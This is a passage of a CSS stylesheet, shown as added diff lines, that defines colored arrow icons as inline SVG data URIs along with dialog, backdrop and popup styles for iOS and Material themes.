url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-green, +.md a.link .color-green .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-blue, +.md a.link .color-blue .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-blue, +.md a.link .color-blue .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-blue, +.md a.link .color-blue .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-blue, +.md a.link .color-blue .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-pink, +.md a.link .color-pink .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-pink, +.md a.link .color-pink .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-pink, +.md a.link .color-pink .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-pink, +.md a.link .color-pink .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-yellow, +.md a.link .color-yellow .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-yellow, +.md a.link .color-yellow .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-yellow, +.md a.link .color-yellow .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-yellow, +.md a.link .color-yellow .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-orange, +.md a.link .color-orange .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-orange, +.md a.link .color-orange .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-orange, +.md a.link .color-orange .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-orange, +.md a.link .color-orange .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-gray, +.md a.link .color-gray .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-gray, +.md a.link .color-gray .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-gray, +.md a.link .color-gray .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-gray, +.md a.link .color-gray .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-white, +.md a.link .color-white .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-white, +.md a.link .color-white .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-white, +.md a.link .color-white .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-white, +.md a.link .color-white .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-black, +.md a.link .color-black .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-black, +.md a.link .color-black .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-black, +.md a.link .color-black .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-black, +.md a.link .color-black .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon.color-red { + color: #f44336; +} +.md .icon.color-green { + color: #4caf50; +} +.md .icon.color-blue { + color: #2196f3; +} +.md .icon.color-pink { + color: #e91e63; +} +.md .icon.color-yellow { + color: #ffeb3b; +} +.md .icon.color-orange { + color: #ff9800; +} +.md .icon.color-gray { + color: #9e9e9e; +} +.md .icon.color-white { + color: #ffffff; +} +.md .icon.color-black { + color: #000000; +} +.custom-modal-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.custom-modal-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.custom-modal-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +/* === Dialog === */ +.dialog-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.dialog-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.dialog-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.dialog { + position: absolute; + z-index: 13500; + left: 50%; + margin-top: 0; + top: 50%; + overflow: hidden; + opacity: 0; + -webkit-transform: translate3d(0, 0, 0) scale(1.185); + transform: translate3d(0, 0, 0) scale(1.185); + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: transform, opacity; + transition-property: transform, opacity, -webkit-transform; + display: none; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.dialog.modal-in { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); +} +.dialog.modal-out { + opacity: 0; + z-index: 13499; +} +.dialog.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.dialog-inner { + position: relative; +} +.dialog-title { + font-weight: 500; +} +.dialog-buttons { + position: relative; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; +} +.dialog-buttons-vertical .dialog-buttons { + display: block; + height: auto !important; +} +.dialog-no-buttons .dialog-buttons { + display: none; +} +.dialog-input-field { + position: relative; +} +.dialog-input-field .item-input-wrap { + margin: 0; + padding: 0; +} +.dialog-input { + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 0; + margin-top: 15px; + border-radius: 0; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + width: 100%; + display: block; + font-family: inherit; + -webkit-box-shadow: none; + box-shadow: none; +} +html.with-modal-dialog .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +.ios .dialog { + width: 270px; + margin-left: -135px; + text-align: center; + border-radius: 13px; + color: #000; +} +.ios .dialog.modal-out { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); +} +.ios .dialog-inner { + padding: 15px; + border-radius: 13px 13px 0 0; + background: rgba(255, 255, 255, 0.95); +} +.ios .dialog-inner:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .dialog-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .dialog-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .dialog-title { + font-size: 18px; + text-align: center; + font-weight: 600; +} +.ios .dialog-title + .dialog-text { + margin-top: 5px; +} +.ios .dialog-buttons { + height: 44px; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.ios .dialog-button { + width: 100%; + padding: 0 5px; + height: 44px; + font-size: 17px; + line-height: 44px; + text-align: center; + color: #007aff; + display: block; + position: relative; + white-space: nowrap; + text-overflow: ellipsis; + overflow: hidden; + cursor: pointer; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-flex: 1; + -ms-flex: 1; + background: rgba(255, 255, 255, 0.95); +} +.ios .dialog-button:first-child { + border-radius: 0 0 0 13px; +} +.ios .dialog-button:last-child { + border-radius: 0 0 13px 0; +} +.ios .dialog-button:last-child:after { + display: none !important; +} +.ios .dialog-button:first-child:last-child { + border-radius: 0 0 13px 13px; +} +.ios .dialog-button.dialog-button-bold { + font-weight: 500; +} +.ios .dialog-button.active-state { + background: rgba(230, 230, 230, 0.95); +} +.ios .dialog-buttons-vertical .dialog-buttons { + height: auto; +} +.ios .dialog-buttons-vertical .dialog-button { + border-radius: 0; +} +.ios .dialog-buttons-vertical .dialog-button:last-child { + border-radius: 0 0 13px 13px; +} +.ios .dialog-buttons-vertical .dialog-button:last-child:after { + display: none !important; +} +.ios .dialog-button:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.ios.device-pixel-ratio-2 .dialog-button:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.ios.device-pixel-ratio-3 .dialog-button:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.ios .dialog-buttons-vertical .dialog-button:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .dialog-buttons-vertical .dialog-button:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .dialog-buttons-vertical .dialog-button:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .dialog-no-buttons .dialog-inner { + border-radius: 13px; +} +.ios .dialog-no-buttons .dialog-inner:after { + display: none !important; +} +.ios .dialog-input-field { + margin-top: 15px; +} +.ios .dialog-input-field .item-input-wrap { + margin: 0; +} +.ios .dialog-input { + height: 26px; + background: #fff; + padding: 0 5px; + border: 1px solid rgba(0, 0, 0, 0.3); + font-size: 14px; +} +.ios .dialog-input + .dialog-input { + margin-top: 5px; +} +.ios .dialog-input-double + .dialog-input-double { + margin-top: 0; +} +.ios .dialog-input-double + .dialog-input-double .dialog-input { + border-top: 0; + margin-top: 0; +} +.ios .dialog-preloader .dialog-title ~ .preloader, +.ios .dialog-preloader .dialog-text ~ .preloader { + margin-top: 5px; +} +.ios .dialog-preloader .preloader { + width: 34px; + height: 34px; +} +.ios .dialog-progress .dialog-title ~ .progressbar, +.ios .dialog-progress .dialog-text ~ .progressbar, +.ios .dialog-progress .dialog-title ~ .progressbar-infinite, +.ios .dialog-progress .dialog-text ~ .progressbar-infinite { + margin-top: 15px; +} +.ios .dialog-button.color-red { + color: #ff3b30; +} +.ios .dialog-button.color-green { + color: #4cd964; +} +.ios .dialog-button.color-blue { + color: #007aff; +} +.ios .dialog-button.color-pink { + color: #ff2d55; +} +.ios .dialog-button.color-yellow { + color: #ffcc00; +} +.ios .dialog-button.color-orange { + color: #ff9500; +} +.ios .dialog-button.color-gray { + color: #8e8e93; +} +.ios .dialog-button.color-white { + color: #ffffff; +} +.ios .dialog-button.color-black { + color: #000000; +} +.md .dialog { + width: 280px; + margin-left: -140px; + border-radius: 4px; + color: #757575; + background: #fff; + font-size: 16px; + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12); + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12); +} +.md .dialog.modal-in { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); +} +.md .dialog.modal-out { + opacity: 0; + z-index: 13499; + -webkit-transform: translate3d(0, 0, 0) scale(0.815); + transform: translate3d(0, 0, 0) scale(0.815); +} +.md .dialog-inner { + padding: 24px 24px 20px; +} +.md .dialog-title { + font-size: 20px; + color: #212121; + line-height: 1.3; +} +.md .dialog-title + .dialog-text { + margin-top: 20px; +} +.md .dialog-text { + line-height: 1.5; +} +.md .dialog-buttons { + height: 48px; + padding: 6px 8px; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-pack: end; + -webkit-justify-content: flex-end; + -ms-flex-pack: end; + justify-content: flex-end; +} +.md .dialog-buttons-vertical .dialog-buttons { + padding: 0 0 8px 0; +} +.md .dialog-buttons-vertical .dialog-buttons .dialog-button { + margin-left: 0; + text-align: right; + height: 48px; + line-height: 48px; + border-radius: 0; + padding-left: 16px; + padding-right: 16px; +} +.md .dialog-button { + text-decoration: none; + text-align: center; + display: block; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + padding: 0 10px; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + position: relative; + overflow: hidden; + font-family: inherit; + cursor: pointer; + outline: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; + color: #2196f3; + border-radius: 4px; + line-height: 36px; + height: 36px; + text-transform: uppercase; + min-width: 64px; + padding: 0 8px; + border: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + letter-spacing: 0.03em; + font-weight: 500; +} +input[type="submit"].md .dialog-button, +input[type="button"].md .dialog-button { + width: 100%; +} +.md .dialog-button.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .dialog-button.dialog-button-bold { + font-weight: 700; +} +.md .dialog-button + .dialog-button { + margin-left: 4px; +} +.md .dialog-input { + height: 36px; + padding: 0; + border: none; + font-size: 16px; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + position: relative; +} +.md .dialog-input::-webkit-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input:-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input::-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input::placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input + .dialog-input { + margin-top: 16px; +} +.md .dialog-preloader .dialog-title, +.md .dialog-progress .dialog-title, +.md .dialog-preloader .dialog-inner, +.md .dialog-progress .dialog-inner { + text-align: center; +} +.md .dialog-preloader .dialog-title ~ .preloader, +.md .dialog-preloader .dialog-text ~ .preloader { + margin-top: 20px; +} +.md .dialog-progress .dialog-title ~ .progressbar, +.md .dialog-progress .dialog-text ~ .progressbar, +.md .dialog-progress .dialog-title ~ .progressbar-infinite, +.md .dialog-progress .dialog-text ~ .progressbar-infinite { + margin-top: 16px; +} +.md .dialog-button.color-red { + color: #f44336; +} +.md .dialog-button.color-green { + color: #4caf50; +} +.md .dialog-button.color-blue { + color: #2196f3; +} +.md .dialog-button.color-pink { + color: #e91e63; +} +.md .dialog-button.color-yellow { + color: #ffeb3b; +} +.md .dialog-button.color-orange { + color: #ff9800; +} +.md .dialog-button.color-gray { + color: #9e9e9e; +} +.md .dialog-button.color-white { + color: #ffffff; +} +.md .dialog-button.color-black { + color: #000000; +} +/* === Popup === */ +.popup-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.popup-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popup-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.popup { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 11000; +} +.popup.modal-in, +.popup.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.popup.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popup.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.popup.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +@media (min-width: 630px) and (min-height: 630px) { + .popup:not(.popup-tablet-fullscreen) { + width: 630px; + height: 630px; + left: 50%; + top: 50%; + margin-left: -315px; + margin-top: -315px; + -webkit-transform: translate3d(0, 100vh, 0); + transform: translate3d(0, 100vh, 0); + } + .popup:not(.popup-tablet-fullscreen).modal-in { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + .popup:not(.popup-tablet-fullscreen).modal-out { + -webkit-transform: translate3d(0, 100vh, 0); + transform: translate3d(0, 100vh, 0); + } +} +@media (max-width: 629px), (max-height: 629px) { + html.with-statusbar .popup-backdrop { + z-index: 9500; + } + html.with-statusbar.device-ios .popup, + html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup { + height: calc(100% - 20px); + top: 20px; + } + html.with-statusbar.device-iphone-x .popup { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + } + html.with-statusbar.device-android .popup, + html.with-statusbar.md:not(.device-ios):not(.device-android) .popup { + height: calc(100% - 24px); + top: 24px; + } +} +@media (min-width: 630px), (min-height: 630px) { + html.with-statusbar.device-ios .popup-tablet-fullscreen, + 